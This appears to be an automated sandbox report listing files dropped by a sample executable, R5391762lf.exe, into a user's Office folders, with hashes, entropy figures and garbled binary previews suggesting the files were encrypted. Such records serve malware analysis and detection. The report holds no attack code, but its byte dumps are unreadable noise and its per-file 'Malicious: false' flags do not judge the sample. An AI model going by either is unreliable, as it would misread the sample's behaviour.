Preview:	.PNG.'z.......`V..O...)..?...<.4.Md..]......b.".."..Z.f.V.3....BW....4.!bT.I............L..z...;s.@l.,.2..gUo.Ns.X ..=...dJee..XH.%u.F^..L9.T.7.@..D...}..._/..b!..}w9.....v .E....U..G......[....m.V....p.0..........K.)Se....T...h\|......ZE..X`u~.$..wE,M.B....H.P.X.f.\|..L7..!....D9..Cd$F.....F.y.C.4dQ._h.~..(.zw........"./, ..*...w..8...4#..9.._t..I.t..l..z6..q....E.....g...WWv..dA.OQ}..aM(.f.$..n...(..[.\..M.i...JW..A.Y..ks{....@...n9........b'f.b .&...[dR=)+./.<...\\.C......Y.YR.a..vE2......j%G..]..Tq..T.'t..ra.i..;"UCK.....+c.n0+.....-.z=.G......\|.Lp..X=$.U..Zb=..7..d..Ov....0.g....\j..vo..i.....Q.%...F......bLA~.OJ...k..ZY..&..}.qk..m..=.......aT.l........&AD....\|..F..<..V.(.E.%..DF+x..m....x.j}...G ;." ....U..ch.....V.S.;..2..y.}.........3..._...YF;}.G.\.i.`1g/...b..IR......`.u.&....E9q.k...e....?3..\o..s....-....&..,NT.\...O.+.G}.....E.<2O3'...E..3.....b./$...s.2v.m.H.R...6`.......D..]...!n.....r..k.0`.S.\|.J.8....%E.:-.0...{r...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{2FE357BC-7682-4CDA-A53F-FDCB5CBFF097}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.976271865290328
Encrypted:	false
SSDEEP:	192:FjyWLVOF+V/vyHGGpBDCc7SPvXGRJwMLYDexFQ:FGWROK3yHGo7u+RJwvOQ
MD5:	8773F5FB95F4649A36975C62F379D501
SHA1:	919B1704A66B14157FBE7BBF18196DEC3374400D
SHA-256:	79752AD7BA99433084C194628475FC985BC7A2B607424B857E4E71D72C18987B
SHA-512:	DB26AF6EEA75F1F13F0FF8BFC5854421C62F21B3DCF32175669D5442D7620E6DA32CCF2ADC96B782551BE6CB659D50F657B53A807BBC458B675EF99E784D18CB
Malicious:	false
Preview:	.PNG.f...D.......<..'..&#.!=C.......N.Y....@...>z..CE.4.Ef.q....X\|...:Nw.....q^..2..i.y._...L.K......I....L0T..R..o~o..s.&.K^..6.L.(...Q>G(...........=....t....Q..C.Y..i....?.......=T.......~.....h..W.F\|.D..._x..&@.......9:.e...`..............5.$.=.m2y.-..:......'.P\|.Z[...l0no..[..`...Y......)...U>..B........C..\|......Sa#...........7.\..v.. ...$Hy.N:.n...\|..d.Y.g:$X..).j.Z...P..n...M.....QK>....!......n.<&Y.....@...?.<\..._....;..-.To...A.c..Y+.k.%0X.....!lA`.. .a...^.....W?:8.ul.b...2,..#W.B.G.....T...(."}4.y..E.....~.B.....n.....B'.%...gq/)..P.J-...&6.....u.`Z.z.Ps!..].B.&........1.....5.. ^'{......G..40.e..4,.L.oA.ev..Z8r....~A..j.B.F.P.b.....%...:.V- .W.&v..........LEk..0....FXx.J.x.g_....22L.l.........l..xH.....!Q...EH..q..n..p7..Z.w.,V..]..C.M....:dq.....N.{.v.keg.....h..........B.rTd.n.....^.}.`........fO....Ai.......V.r...;../.j......Q7....b......g....D.G9(f.z.....nR..+.....K-i..d....q.....+.+fM..6..S.B.NC5]..&...".%...xzr\|A...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{50FB4BDE-809C-441B-974E-B14401CF3C99}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.978230542895265
Encrypted:	false
SSDEEP:	192:m0b6HdHqTTy0DhouOvdQ+mjMWNGZaKcDfpqse6cthezgQ:m0IJq6qYQ+mjMWsZaFDBqrSgQ
MD5:	CD95222F9F403F7DDD1523098CD9E633
SHA1:	5BB7060A2B0E5D2AB962F60B8B925DAA537AE9B1
SHA-256:	DA35BF079FE5B75D2381671A374474DF78DA8256DCBB21C92AB544737E62C109
SHA-512:	07B25DF599DDFD89419ECC543560E0E1A441B784E80545297C4F1D1ADE1541D282F4DBC69E3E8CCD1F86F7D4849803639525B29CFEDD4D963471195109C6536F
Malicious:	false
Preview:	.PNG........#.._....g;..cg.">....>+F^{....q.xE.ZJ....)......^.6...9...V\\|..h.I....e......k.U...!V.,.....M,f.p1.....:.k,]#/...n..-......OM....L/y......!...m.c........>..,......Ux.J.b.Y>........h.Q%.#.d.D..<.......dT...GV...k.....O.!Y.c.#.-\|.........{..CM.J,...Cu....7...N.)d-..>aF.eq...p8.$...(..=........'.~rH{%/.].....M..W..cJ...C(.>.X...,.....&..)..G../...\.{!...}]...h>X....gN..E.W..g?.<.9.....e.?......ghJ..cI..k..!8....O...`l...@}.>....o.{....;.."ZU`d!...e...J.....C.:..}P..X.`1.H...3K_...D.^...6...........xF)(,.=h.~_jF..^.kmQn..M..<s.....c.k.S.9..(....$D.....<0.V...e.4....7t(...~..K.o...Z.~.......x..j.B.2....U.-....3Y..^i.&...<.....?....(n..7.Bo..R&......)>.W6..O.._..6.]."..^..,A...g:DYl..u..g....~....\.......A.uC..q.x...(r...de.!..p.'.....IN......E].E:....... .r.]u.83V\|^#1.G..4J..K..q<./...\..,..}.1M.$6T.v....:j............c.G$"...b{...t3e.....KVo...qU1{_\|.lS.>5vJT...m...l.....L....w..Nzws."..X..=...v'.\|.kW...<.V....]vc.`.j

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{6AD16840-FC52-4BEC-869B-3C3233F91247}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.978514113987089
Encrypted:	false
SSDEEP:	192:7oovjHo8GkzcqRAuOl8Pd7Aen1Oa7XQuibOhfvVoQ:7n08GI3q45AKwa7X38Q
MD5:	CCA4C984B4B7493654E9E07E54CFC5BC
SHA1:	50189E3CBC5DBAB88B8AC6CC50567853872AFDA3
SHA-256:	4028941A2101401E1620C1D9B25566F4A9E359422ECC91D91B706D22AC60E4C5
SHA-512:	661318BCE32B4E7241DEC87F7DBAFBA0AE7EC160491C119556D8C15B7229E03622629DC34EA9B5F4427FDF15D572A983D68C3722F76905CC2435A439CFFACE8D
Malicious:	false
Preview:	.PNG.X..{D.".e+.......8.Y...]A...n...R../a."W".....@..!..p}PAH.K..O...;.r.........P.8.T....\|.sQ.3..>..3c.]...f:.(......K...7]..=....t...,...Y...@,q~..3w.8.....I!........~.O...Qz)\|...V..d...~c...S..W2=...w.#..I.....t6..V.\|.Y...X0...............!?..w...8j&4 ...rIW....E.L=n.L..s....r`p&......le.F..3.\|V....\|.P.._...99k..0..W.e.w;7.-..ajD...5..g.kde.....z.O.b^j..\g~X..T._.......f.......l.....4.)T...Rm.-{....^.E"../...........'RNnU..L.M....s)..~.U~..+..U...YzT.......E>.I....",H.{ ....r..%/#......7hA...\4..........k.\|...e.ww..3'.s4..N.O...7...D.d...TM.8...u..LQ.V........wn....[$NW4..N7....jz.P....M......`...?./D..?Z.....7...S4.....1...v.....+ ...O..\b4.#F...w....K......2..3..Y. [.v....W..m.w0(X..;...MH..AZ..........C..hsf.....?....4....\.axs....u 8..N....3..=...g.i.t,H..8.B.=o...'..R.\.."..0..M....k....<..)jo....=T.I..'...-%3........z..cY...hHc...'..p.n.S....R.Vc.]...-..y.Y.\|..j..L.j........Ce/_+./.....c?&m.^D.W.%.Q.eL.&gn....G~.G.l >.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{6DD09B2E-7949-4F54-AB71-53B2C7590859}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.963674014712051
Encrypted:	false
SSDEEP:	96:85C3DMvWxwc+zElyDC+SOA1OqDI8VsM02nBRdEz5ihwQmpNgXWeUKvr/FuQ:RDMvPdzrfSOHBMRnBRylywQmpNgXWeld
MD5:	DE65008B9B2497DA11E239CFD18469F8
SHA1:	6EBB979F07036B24F2D7D7A3BF667C7EC7701711
SHA-256:	0C47E33EE28D4CC72D2C39EC8AC1AA03D95C091AAB77BF4760090A6AEA423A2C
SHA-512:	4E9A7CA2F93A7732FDBB31CBB3E88E6D8F035C3000E258BFC231F475F1607665E8B3B9494ABF3F63C222E498070271670B3BB15C97A2A0E88CE0BD34D998ED49
Malicious:	false
Preview:	.PNG.....X.]n..,.#f.c......v...cP.C.uP.._2$..n...}.DY.....)7...0....fd.\....3f..d5..}.=h...^.M\|`\|........#...3..^...~...\K.{`.[...y.#..GO...B.....-.g,.^...\.GvOw.{m..=......a.R..Oz@.%.>...v..W..T.....l......L.....)_.B.<n.re....a....!...~.....7......w.b..T..$......H..u.Nd.7<<..gY..lY.......^.K.K.Z..g....m6^ME..u....H.B...a%oe.......;N.i.0.,.t..X.v..f...S..... .K......W!....:....'Tx.%....j.=...Lj.1.p..Z8..6.=...mNAS.E..A.!............^..}........a..^X...p.#1...i..h.=4...QFJ.q...._.{7..!.....$d257....Zb...!..`<...8w.@PF.~.:...;q.......T...A.u.+..g..>.V...Y.Xq."J.:...........X.j.Go..S.Z.o.....Z..>.[..tp..B...9...j..=$...2.:.. ..\|`H.~Wo...j#%pr......9.L......T4.X.,....<...R..bW..9....cbZ&.h.....I.zG+I[........=1.O]..7...U.l.)..et.wR.b....R...o.BN...P[Y.[..xwh......i]./....J.Y.......Y...(...lF.....9Dy.....f.\.........l.-X...`..d..0w@4%1G......J....../...Q.Ib-r...).9...w.......`W.......~.3.....u......Z........09v.....F...a>`...@..e.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{85F5391F-CFA1-4E26-A147-E231F673A987}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.975074948803219
Encrypted:	false
SSDEEP:	192:+rUvq+SHDNCHrYIxl05v9dex4hE2rlhz6c6IQzJa2P+zNjnQ:JyBHDNCHPI5K+57z6crQzMN9nQ
MD5:	9D4DCE7315CC8545A7980B6FEA837B61
SHA1:	968B16FF9AC1A767BE2A7D0266673B4F997D994A
SHA-256:	B8688B5776200E0C2E46CE8D100AF18E36B8125A6AC1BA3D1D4CF31FFE7A18CD
SHA-512:	25BAE56179D17D5A587FE3C2B386DD623B9950ECFF84480301F55D8BD0A7BB4AD5BDF366EE26A96D2F0828DECAB1176EFCA1EFCA594A27F7C1450AE8C4221D8C
Malicious:	false
Preview:	.PNG.r.Y:.^.Z.c#..+ .ga.6....Q....6.r@.EyiqFf..T...m.g..'.v...$.W.h]..?.E....N...M{..V#2..Y......d....D.B..{...#..\.v'....'$.i."4u..o..<..t..w......++.%X..b.H.5l.]..]R.,.y...ki..9.DmL..O@........&...a.f7Q....P..,........w=..I.-...j.A....[..U....(J.s[....q0..p.z....%.....)>.n..B...\kvo.B.!.._~..HsB$..`...4....Z.......[...R... "b.........o.......L.U%.9.......{W+...uZ...w.....&.......0<p.F..g.....t.y.+.6....5....w~'..T.-#9Q..#..15.q7N&....x..R..C..[.A.@.....e.U...1t............E.g.......<..4....@..[.s6...Vv.f.} .;3.}R....#V9vvm+..\.O..9...UC...O..b..xH..f..k.......Ty.t.x..~.?..a.Jb'..Z.\..W]B....<(.#>.Cv.......e.;{Bl..tr....T[Z..3...(...X].N.>.fNHxS.m.b.B.<Gi.t.C.....L.tM..7...^......`.9[..........bm....W1..~.`...C..T.0I...G........1.{w\|.b....@r-..>...3<....l...pO...c.Av.,..g.f.+. .WG.p.....U.X.`[..y.></.....yg....g.J...n...n...W..;...p...K..\3v...I.l...(..!......i.&.....K%Cs.aP0.J..A......zVJ..~.y.i%.'._..XTQ ..O.'.K.4._Y..\|.Z.....\.2.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{BD919067-1ACC-485F-8AD4-36ED6FAF622C}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.9778010692408845
Encrypted:	false
SSDEEP:	192:udc/6B5Lmo42JgWhDKZwHZ73IE34RLACXbtQ:d/0pHhmZKJ6jrtQ
MD5:	60551A7F4322997BC9D77FDDA54D16A0
SHA1:	12099BD45F84E6B8DAD83D0A71C40D115F1FBB6D
SHA-256:	9DD72889F2B51DD6E65BB396BC2B346465094240861FEC170FB37E5A16CD9414
SHA-512:	E0F1AEAA147A4357698723E028D80A65D891A61EBD5D7394EBAC20B90B2AA1AE98AD6422F41CC982B527465ADC73B9B9D0449E5EB4088C100044C77D45277106
Malicious:	false
Preview:	.PNG...F.!WtV.LK6...$......l.$..'....h.....X.;.P6FdA..z.\EY00f......d..s.'....W..(..Fg&Vt..4!..cmu.9...E.+.$..2J.......{.?.5.....o`vIG.vH.%.pSv/..oz.!.N..)K6.Rs.......J..."l......:..5]....$.....I......c._:C`,.=.u3B+U.....>.".rHHDp...j##.w... .1.{r.Bp...f....'./Y......,1C..N.}SF.{sn..!..."...).0...Ur"....4..};..n..3+.....!.Z..../Ca~M.@&.\|\.....f;A.#.t...B.5%..5...Z.....{...h....3ZaB].[.8.&O.p..5....w.;.'.,2....2/.x....>AL............"....&,...wz......kD nk..X.....xa.....T...Y....~Z....a@j..X..d.../.b,.F......~A..A.4...,.i$.9$..gH.........68)j.....{..2\..aN..?..\h..>..3..p...`......Bw{...v...-\t...2..n2.@=[v7..yw.2.$......Q$a..:f@2.J..=..Y.!.).=...a....;<.......~n..J`..%H..{F._..b.;..c6..-.........F.6i..../O_9..;i.&...,V.S\|5..'...q.. \|..y..HO..i/.J..".a..y....<...K...!X.5..(.u.D.F.1]:........".1@...j.y....mAI.-H...;h.K.{.H_...a..a.2/..N...D..@<.m]$....#..nF~?..Ia.A}.....f...]/.(.-........b.+ze.`y-oS.m.n....a..{.B...c[.......Q..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6414BF61-F222-4B9F-A03B-794546D2572C}\{E9D6B2D9-5DBF-483E-99D2-604E933F68F0}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.9877441889885485
Encrypted:	false
SSDEEP:	384:7ymW0FFaHq4Lwr+ZAXDPCV0owrYe0HMsDpNxgJRLeBDxavQ:uEFcK4m+ZiPC+GeipSLS
MD5:	02DB9F24E09C86E3E0E4E3A22DFE0F18
SHA1:	2C84D89E5D6DDDC88EE3336D434E959B68AF5744
SHA-256:	AE921C29C803E786DB513BBF3CEE874E53D567DF6A59808346FC271194B2A9A1
SHA-512:	89272433A428C844A5DF8CFE5F16EE0B1209050F6CB1B775A468C4F90E618720CF86A034CD1A0F1C662552FABEB152BA0C0C5695B624C6CDB6CD587BBB99E706
Malicious:	false
Preview:	.PNG..gQM.<......<..Z.Q....$.......O.Ap...c.....Y.u..t=C..)N..\|b._.[.=.Y+...\)d.?.K.0f<..f.C.>..R..<..w....B.z..l..b.........x.T..,,`.f\dErd#..;...f%...5....D]s.#.i.....tZ.....6....../..Vn...z..5.HMA......~.......=k....2N.P.\|n..s0:...79.<....y.../........ U&...C.-W.c...../...>......D.G?....\.....L6....\|T....]e..\|.s.8..u....Ty...'........xk..1NU.4.^H..tr.....1.J...O..`C3L...\|...h...h.:.....h3 ...1#..i.`....-...f.?..t..ZVb_.z....M ...... .R.t[/........2..e..l......+...{.6L...k..x.C..4...<.d...[G@}...g..Ok..?1.Z..s...`.].E.....=...@.2fSO..m....[...X].-,m\];.3..M....`J ..g\......4Krak...s.yFV....,._~.<b..i"..(....E...P.ey?....u.x.@o..3q.............,!].L.$.yr../84....b0c..O.kA........-.h.../~]}..g/{c.M..S...m...............b$J.....W..V.._.5vH7F..W@..ag9.#.`...A..Z2t....@...(..?..NS......,.....k..SD.%..a....E.Re.C.,3l.r._.wd..=1...A[...k.....V....V?O.2..0..J....P..c.g.l...Mq7-1.....~(.....8i.b.u4+..."..}.V#..p..x....!..h.*.....E[\|

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.CampaignStates.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1294
Entropy (8bit):	7.8213985901274965
Encrypted:	false
SSDEEP:	24:YHbkadR8renEHItIMcp3fiYP0J9Qq0ky1Z3MkZ68csaBbhyVIFr5RQY2QszKXq8X:Y9qO6IKBxP0Jm0u68csqM210GXFuED
MD5:	AF267D873CE07F88494680405313A616
SHA1:	6324CB8D1BAA1AE29EFB6B6D80972A32AF93C716
SHA-256:	6853FB5CB5A69C09F21A5DE09917C3FD6BC338EED2F65C80D17E9F85E0019615
SHA-512:	3C7330A570F567C51DE6534821DB0D568A481D7A2286481F2186D4A43279449CD078CB7F227ADD420837BC67984FB601A578F775158007C778CDFEB0A139C747
Malicious:	false
Preview:	{"Cam...Cm..5.N.._..Z..vC..o..J.".\#R...d<.....gEL.......s...1r.@..a2....\|...{....h..R..j.].i.`Q.,...s73h....p.w. w....]r.GB.K.ue.33..}...%G.K(4i...e....o.5c.s..d...1yW+4.^..#u[..ri..H..8]....e.H....S...e^(..:8..s D$...q...0..z....'m.Ka@.p.3.....;...=].?e..w.3.....1W0D...o.Ze..{l....lg....>F..i......2....,.?1!7....U.K.Q..w.vcn.>.J...S..".........g.'.Tq-...6....+....r.I-.l+.".M+w.....Q.^I.:W..<.r.s.....(......3.9=..c]....W.E.l..@....0..P.X.......#r1...i. ..].S..@.d........R.+.I#.z8...i....P?...:.ag.)..+....;.........L....R...._1).7.\..g...^........:t..A<. ..4b....d...}a.......4m+.v.xo..c........A3..].=..5.z..kR}S.......G.e..EE..TJj...#....$...e....v.F..J.......O.z.....[..[.c...^.....G..}j.Q.0..o...=.v..FP..y.R.C..X.Q.?6.g...A..l.(5\|.T..he..G.-w...)Br,v3.M.{..U....u..../..]m..\....ug....IE...3...:)....2...y0.h..,..~....iRx.K.u....U..@.x[........_.S.y\......T....!.N.N............z.7cE........UL..G...c.O1.n.:>ZY.%.}.i...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.GovernedChannelStates.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	7.776349564769612
Encrypted:	false
SSDEEP:	24:YUgTK31+hDwp8iU27qD366puJpKOndW5TMdCaepv3KxNG9q9Xq8uWbD:YPczvp7RpKOndW5ggxv3Kb9XFuED
MD5:	1847ADC7C465EA4C699F79A5F3E8F6AD
SHA1:	E4533AF3BEB2DE46DA3AF9A2F8D2D2589956B1FC
SHA-256:	AD29413E82B4640DE448F7B6BACD71032D563403F3585986B7313B4FE2BAC545
SHA-512:	5DBD7D6A86289A597D4663EDD195A145A14FADAF81946AEF121A63844F5B6920B80B277352A5AFAE89BA362A6AB1B5CD1644DE6669D2E5285A8C623806AB6A57
Malicious:	false
Preview:	{"Cha>..8.!w......>$.rQZk...a..h:...s......#=......9....e4JC..;A.at...H..z..AP..23.R.......d.~D.U.{b3.<#.....C..e.@,..+m..x..w....#..pd..,B._..O.a'b[.[..&'.-7hu.2.]..1.`...07(.6d...k..#.gXUg....e_x..]..Pq...u..H.Z.@nG..8..g....w.R.....A'...D...^..Ih.x.^yj.>..5...9..H..S..q7.a(.....t7..>..-..(..N.+c....;...K..>9.`...N.Sk..K_......u[...F$.....X>V..>-....n.....b.....[......\+...9.(O&..G.t\|.4.<.....^`>...S.%%,....:N...1..'@pa6...DA!...k.,vV.F.so].o].3P..Mz.$v...w....Hh\..0Q.7ox..W..0.....D..f.d...........Iw......S..*G.`......H.....7E....7..'........?.W...R4.....!..7.ax.......poe.-S.Z .n..;......}...[.X........waK.-.....q.G.r...8.N..Q`...Y./.+:..I$^B.zrn...%.j"=Ne6..h....,...S......V..R".kU....).Td1.Gn....D...r5u..z..~..f.....eS4....'...8....K......x.......k....)../.0...?R.:%.C.g.S.1....A..jx...`..Pw"..MJ...{m.....O.o.`......U..{a...U........t.....4..oM...t..x.V...?.].+.Fe.e7.....o.Z..@.$>.5..N...b#.-..9..o..B...B;.^mu...[...^..O....I..0.doc0

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.Settings.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.400808431760448
Encrypted:	false
SSDEEP:	12:Y2YhDwsOqd7C5NGdRI3dFHHuciVwiz7wlM0DXqOTuWcii9a:YxhEszWYIvHOTV306eXq8uWbD
MD5:	3C4FD124DA067ED4D9E603511A328B7A
SHA1:	5F5CC54B3372A2D70FFD37ED3EA526425481DEBF
SHA-256:	FD767E9565DB5DCDD5609F0FC8E25F63EA1BA296A99B3C90F4ACF8D177010623
SHA-512:	6D37657AB57DC8A94E13CDFE3A995DB3D0E6307201BCE112996E4710C11C00DF3FEDF09995561A43746CF794D15074925EF883AEFDAA31BA96CF441FABE7E073
Malicious:	false
Preview:	{"Sho.m..?......l.i..2%,..N.v.w..z...K.....pxq..>f..I.z.....z....?H..L.....5.8(..6....Mi.o...A.e..........].w......(................,,..xX<h..w/...N.r\|+...p...G......!.V.v.@....x..1A..Ox}..\y.......s....c.,..yC-.]x......2t.0...=.)T.<.n(.c.i.;.8j..9..u.......o.U.S.R....]eH..M3.Z..K{......46Ps.y...c.a...y.j-.<..C.4,'.MM.f.....R.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.SurveyEventActivityStats.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	348
Entropy (8bit):	7.208124181456775
Encrypted:	false
SSDEEP:	6:Y2QgQkrq77CQrTMsxo/gx/XN+XtHvhicRvFCE76r5l/kwoDhItXqHk7T3eWcii9a:Y2D8CEAsxCgx/XUXtlR9CEmr5kgXqOTX
MD5:	FC4DCB45B16C484EE26ED5D6982DB87C
SHA1:	AA65BD9E66514485FC2D273937C6947EA40F6008
SHA-256:	2C27256EE940C26FEA0D621D820909BE3B049254036BE58644E1B432D47457F5
SHA-512:	B24C8AC6B21FF8A9BE1C183A95AFAF2E020076FCBDAB1B21A70EA12D60B559A41414199BF2BA2FE45E925E80738FF5DA64A82E7CB003BAFDCE284EF1AB18703C
Malicious:	false
Preview:	{"Sur...Z...0.N;...=.e.7+.3Tk...A..[$...Vo.n+...\|..e.....p#5......x..!........G....\|..C.i.cT..:L...S.......[.D..5p..B.d..0b.Q.."J....K.....9....+{.\`hf.#...<Y.u.....3..%..T.M.r.h.....e.}..W.y.$..H......k..N...'.dTF..3...I........AG..-..{.7..}B..G?...7..R..WG5QYdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\Floodgate\Excel.SurveyHistoryStats.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	348
Entropy (8bit):	7.22126808385556
Encrypted:	false
SSDEEP:	6:Y2QUiJfMLtietm/RVPdTr6vM5RW5lI0Sc492MxcALmZtXqHk7T3eWcii96Z:Y28Mpk5VPEaRWcc4NSALmvXqOTuWciik
MD5:	94C6F8D59863B3EA95F06ACC10B2D67F
SHA1:	611553C89444F13B2337459426D4299C5755E594
SHA-256:	82936F039A74DE413A3BD3E0109ACC7608264877A58421A5CCAEB8184E9C05F9
SHA-512:	A79068DCBAE1ED3B50273954E1C986DEE5573AD8ABC8465F5DAAFD54201BFAD925DC63430C03D388F69407ABACCA625B9FD2AF14048E2D7E8B4F9F71D121E02A
Malicious:	false
Preview:	{"Sur..ee.Mo,.1;..%..Q...9k.7tR/...Q..M..X6=s.2T;b...dO.wwz...w......A.#......}...7..8.38qv.:.8.\|..6.3.~.@.....".z..$....kQ....l.:t..t..k.p..d..TI.J...........}a.$.P.tU)......O.>T.......>....Z..d\|mz9`.v.....$....%~..86..]....x.....%.LP....(.9P.....ndoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.843557377643008
Encrypted:	false
SSDEEP:	24:rMjrG25VKGy88F00Yj4Pc7piQQYEWEL7Rj/azRuiRc5/k8Xxe9IE918RAUwXq8uQ:rkF565Yj4+ZQXWERGzRuik/k8Be9J18u
MD5:	BB2AEC6BB80212B107C603BFC3514F9C
SHA1:	8078A45FA10902F6F090FEB777EDC95A4F738793
SHA-256:	7DBC5313AC926550DB5EE0FFFE75BAB930C854080FBEF4D9AD0F862CC76D829B
SHA-512:	FB122697205CD9B8C4CDCC1441047EAAAF41596D5136C592BF2B30BA52E0757C586B195D40933850346CC38247E8084E5945F38228F52F7F924BA4BA5D1B34A3
Malicious:	false
Preview:	<?xml.}.o&.2..U.):.s.......[.F.Y8.~....g.Y(..m..AutcH..P jhi.>O@.....fA.......%.2i.t=..%.91..n<"....e6...N.M-.>$.}.....a..u.(..0..G...RV[.g.it...{.iS..3........@....n.~..O.<.:..,.>C.=L....pnJ))..>._}8.......g1^.......e..5.$]%..]....`Rfc..\.Q.....fj....\.Jh.Y.......X...N......U?.i..N.f............\|...#.^u....&..J.....?4....vF...%...&@.T.........O...,0.....1=:.\|/.......#..7v.^.U.H.r.^D.+.+.D...y.s.8...J.War..vF.b..m...*M...8.z.iK...C..:....s.W.u.#...0.....I.2..7+..w..P..H.nR.8..N(.O)cx{.<,...b.#...9n..%..=e .n...z]..5.....0d\|.L..XC....oj..l.....t..L+...#..'..C._..&Tv...Jom."X..0.(...B^.....mP.....V. ../h=].........h..#5.........z>.2Q.'..l..L?.{V..O.....@.}&.v.X........&/...D.....$M....Q.0.Y\|Y..{.D.....7..2rSSn..fQ..PY;.a.}z..E....%..a...9.{l.@R.Tmr.Sm......p.....r#E.....mM.S...}.X..mg.6.~..AO..gPLf^2F.......FT..R...V.C.G...."}..;I-.kZ.}.j..M..:..fl... ..../...../?....>j..v............Z........C.v.M.%....7.....SB.yA.Wl.qw.8<

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.873736901909669
Encrypted:	false
SSDEEP:	48:EwK6IUk2MZTWHkoXyh4XP3i/JrbuvA7uDTQqzJXFuED:EhFrZSySX/i/4vtcqzZFuQ
MD5:	DF449809440AC1458751B708AE08A5A5
SHA1:	806A337D8EBA10BF1E3989C33E8D1CC33E5F6183
SHA-256:	B8694D89B85B330BDC79E7C13AB6930F1883B3F612D9FF51C55A05CD63A23BFA
SHA-512:	08CE0A04928DD9D43F15BFD0CB31DE3F5620FEC841A8BB70C69787116751BDA62CD56203C98E890DD965E04C8BB41717D4B30E56C29C05A0E98CC73979C4AAA6
Malicious:	false
Preview:	<?xmlW......t.....wz........"i.]...L^.\|.".9.>....yM........:J....V.y........50..]...=.T.5$9;..=...E..Ipf..}.rX7X4g..Vc..[.N[n...?."..\1.8....^t.....E...n.S.lU.8z..".d..V.6....>.....y..H.y.....n.2.,.'...(....G..V%Ww.jtt..O.W.....:...IvN.K..-D.O._....Cs..h.Vb'I....."..Y[P....d.f.S.HX..O.UPM.r..).Q....T.....V]+..R....6"..wL..>....H...D^\|.S6E.SP.q.?.3..jl..0.LA.R3LSF....0.KP.'....+..`..E..>(..(7....H..4..>..B;.v.<...].I.....p..n.6.D..I.N.G..!..B'..H....>{t6...o.4.....D_.f...z.7...a_,.;g.F?H.B...../k..N.D\|)..y.1.\^....).`...............e.*...UA.~s-..$.Pk:r.t.j.\|.t.5 t.<..u.....x'.A .G[.....<.......R..Ve\|a.r..#.m-...{.\|........^.....{..n&Ca ......i.<2.w^....DW...'f.$M......r.C....6....p.%1hk.x..o.-a..5@4F-......K....g..@...S?$WP......m6.l...t..Z!.pq\.?..f...g$...p[.2U..P.. M.A.....h..C...l.j. a.xM..V!v..(.th..s\.=.Md.N..u=H.....Z.Cc^.~_......v..@q...0..!c..a.N1^...a.",..w........._...#....L..Zd.OS.(n..K.....p......h..."...<.G.M..%....I.%.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.94984308696428
Encrypted:	false
SSDEEP:	96:L0POe5ZKQ9N7grwZK367XwZdDAYaWtXffK0/FuQ:Ze5ZKsSrwIWXwZdPHtXfS/Q
MD5:	37CF0481EF5F26C98E3F58B23F4FCE11
SHA1:	06D231728B89D655C776C81417BDAC99D2DF1F4D
